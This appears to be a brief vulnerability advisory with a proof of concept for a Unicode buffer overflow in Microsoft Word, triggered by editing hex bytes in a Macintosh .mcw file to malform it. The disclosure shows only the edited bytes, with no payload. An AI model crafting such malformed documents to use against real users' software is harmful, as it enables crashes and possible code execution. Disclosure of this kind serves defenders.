UNICODE BUFFER OVERFLOW IN MS-WORD
===================================


*.mcw is the ms-word format file for Macintosh.

the unicode buffer overflow occurs when the user opens the malformed *.mcw document.

Proof of concept:
-----------------

by modifying the *.mcw file by using binary editor as follows

these lines were taken from .mcw file:

------snip---mcw-file----
c6 2e 82 05 a0 07 08 05 a0 07 08 00 00 02 d0 42 
00 00 01 00 01 00 01 00 00 00 00 00 00 00 00 00 
11 04 74 65 73 74 00 06 20 42 61 68 61 61 00 00 
00 09 00 00 00 00 0f 54 69 6d 65 73 20 4e 65 77
------snip---------------

change them as follows:

c6 2e 82 05 a0 07 08 05 a0 07 08 00 00 02 d0 42 
00 00 01 00 01 00 01 00 00 00 00 00 00 00 00 00
